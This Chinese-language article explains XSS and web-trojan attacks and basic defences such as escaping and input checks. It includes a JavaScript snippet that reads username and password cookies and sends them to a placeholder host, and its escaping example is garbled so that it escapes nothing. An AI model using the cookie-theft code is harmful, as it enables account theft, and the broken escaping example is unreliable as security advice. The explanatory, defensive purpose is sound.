摘要:隨著計算機網絡技術的迅速發展,網絡安全問題已變得越來越受到人們的重視,網絡攻擊形式多種多樣,很多蠕蟲病毒、木馬病毒等植入到某些網頁中,給網絡用戶帶來了很大的安全隱患。其中XSS跨網站腳本攻擊,惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意攻擊用戶的特殊目的。本文主要闡述了XSS的機理和特點,重點分析了網頁代碼的檢測以及木馬的特征,并針對這些特點進行了一些相應防范對策的探討。
關鍵詞:網頁木馬; XSS; 攻擊; 防范
一、前言
網頁木馬是一種新型的惡意代碼,一些攻擊者將它人為的植入到服務器端的HTML頁面中,通過客戶端對服務器的訪問來傳播惡意攻擊代碼,它主要是通過瀏覽器以及其中的一些插件漏洞來進行植入,網頁木馬是一種客戶端的攻擊方式,它能有效的繞過防火墻的檢測,隱秘的在客戶端將惡意代碼植入,客戶端在不知情的情況下將這些惡意可執行程序進行下載和執行。給互聯網用戶造成嚴重的安全威脅。
在Web 2.0出現以后,XSS的危害性達到了十分嚴重的地步。跨站腳本英文名稱是(Cross Site Script),為了與層疊樣式表(Cascading Style Sheets簡稱CSS)區分,故命名為XSS。 XSS攻擊是指入侵者在遠程WEB頁面的HTML代碼中插入具有惡意目的的數據,用戶認為該頁面是可信賴的,但是當瀏覽器下載該頁面時,嵌入其中的腳本將被解釋執行。XSS具有自身的獨有特點,目前國內外很多研究人員圍繞XSS的防御進行了深入的探討與研究,同時攻擊者也在采用一些更先進的手段來提高木馬的攻擊隱蔽性,用以提高木馬的攻擊成功率,因此,XSS的機理與防范對策研究已成為了當前計算機工作者的一個重要課題。
二、XSS的機理與特征
1.XSS的成因
跨網站腳本XSS漏洞的成因其實就是Html的注入問題,攻擊者的輸入沒有經過嚴格的控制進入了數據庫,最終顯示給來訪的用戶,導致可以在來訪用戶的瀏覽器里以瀏覽用戶的身份執行Html代碼,數據流程如下:攻擊者的Html輸入—>web程序—>進入數據庫—>web程序—>用戶瀏覽器。目前,所有的網站上幾乎都提供一個站內或站外信息搜索框。在此搜索框中,您可以搜索到網站上任何可用的東西。這個搜索表單看起來這樣:

圖1-1

圖1-2
內部代碼:
窗體頂端
窗體底端
“搜索”
在asp網頁上顯示的搜索結果,同時它也列出了在“關鍵字”的搜索結果。web頁面上,不管用戶搜索什么內容,它將顯示搜索結果在網頁上?,F在如果一個攻擊者嘗試注入惡意腳本,比如在搜索框中輸入如下Html代碼:“
”則代碼會變成<input type="text" name="q" value=""
/>,嵌入的JavaScript代碼將會被瀏覽器執行,將顯示一個警告框,提示“XSS跨站腳本攻擊”。而不能完成用戶搜索功能。(上述兩個網站已經做XSS過濾,不能看見警告框)
下面是一個關于用戶注冊頁面的例子,當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多網站都提供用戶注冊功能,網站后臺數據庫存儲用戶名、密碼,方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有XSS漏洞,那么簡單的就可以獲取其它用戶的用戶名、密碼了。

圖2-1
如圖2-1所示的用戶注冊頁面。允許用戶填入注冊信息,然后存儲到后臺數據庫中。因為我們完全信任了用戶輸入,用戶注冊信息都能正確的進入數據庫。但有些惡意的用戶會利用這個漏洞輸入HTML和JS代碼,例如
這段代碼直接輸入到“用戶名”欄中,竊取用戶信息。
在http://www.123.com/h.js中:
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://www.123.com/index.asp?username='+username+'&password='+password;
document.body.appendChild(script);
這樣就輕松的獲取了cookie中的用戶名和密碼。
2.跨網站腳本攻擊的類型
2.1非持久性跨網站腳本攻擊,非持久性 XSS 也稱為是反射跨網站漏洞。它是最常見的 XSS 類型。在這,注入數據反射給攻擊者。上面的例1,是非持續的攻擊。典型的非持久性 XSS 包含與 XSS 的鏈接。
2.2持久性跨網站腳本攻擊(存儲性),持久性跨網站腳本是存儲跨站點腳本。當它發生時 XSS 變量存儲在網站的數據庫,每當用戶打開網頁時執行。每次用戶打開瀏覽器,腳本執行。持久性 XSS 比非持久性 XSS更有害,因為每當用戶打開要查看的內容的網頁時,將自動執行該腳本。上面例2就是持久性跨網站腳本攻擊。
2.3基于DOM的跨站腳本攻擊,基于 DOM 的 XSS 有時也稱為“type-0 XSS”。它發生時, XSS 變量執行由 DOM 修改用戶的瀏覽器網頁的結果。在客戶端的 HTTP 響應不會更改,但以惡意的方式執行的腳本。
三、XSS防范對策
XSS攻擊的模式很簡單,就是把自己的代碼嵌入到頁面里,隨頁面一塊執行;XSS攻擊的防范也一樣簡單,對于網站的開發者,首先應該把精力放到對所有用戶提交內容進行可靠的輸入驗證上。這些提交內容包括HTML、URL、查詢關鍵字、http頭、post、get數據等。只接受在你所規定長度范圍內、采用適當格式、你所希望的字符。阻塞、過濾或者忽略其它的任何東西。針對出現在不同位置的用戶輸入內容,其處理策略有所不同。
1、html
只需要處理掉< > 即可,只要沒有html標簽,頁面就是安全的??梢允褂胊sp內置方法Replace (str,“<”,“<”) replace="">”,“>”) 來處理待輸出的內容,將<,>, 轉義。
2、JS
將要輸出到js代碼片斷中的用戶輸入內容沒有好的辦法進行處理;僅轉義少數字符不能保證去掉所有的攻擊可能。因此,一般建議不要把用戶產生的內容直接輸出到js片斷中。
如果條件所限,必須將內容直接輸出,有如下方法可供選擇:
1) 如果待輸出的內容有特定的取值返回或者特定的格式,可以使用白名單或者正則表達式進行處理。
2) 可以將內容輸出到html的隱藏標簽或隱藏表單中,js通過獲取標簽的內容得到該內容。
3、檢查
那么,對已有的頁面,該如何檢查呢?這個問題的回答是,目前沒有很好的辦法能完全檢查出服務器中可能存在XSS攻擊的頁面;有一些辦法可以檢查出比較明顯的疏漏,其基本思路如下:
1)從apache的access_log中取出所有unique的請求,依次修改其某一個參數為 “
”,發起請求。
2)獲取返回的內容,如果內容中有原樣的該字符串,表明此可疑輸入沒有經過處理便輸出到頁面上,頁面存在隱患,需要處理。
通過這種辦法,可以檢查出絕大多數能通過get請求發起的XSS攻擊。那些在access_log沒有出現的請求參數,這里沒有檢查到,可能有所遺漏,就需要手動去整理,測試。通過Post發起的請求需要用另外一種策略進行檢查。其思路如下:將網站上所有可以輸入的表單,依次輸入特征字符串,比如說< ' ” >,如果提交后產生的頁面中含有未處理的此字符串,說明存在隱患。
通過以上分析我們看到,XSS是一種危害較大、較難防范,并且更加隱蔽的攻擊方式。其實只要明白其原理,再加上勤加思考防范的對策,就可以根治XSS漏洞。
沈陽凱鴻科技有限公司
2023/1/1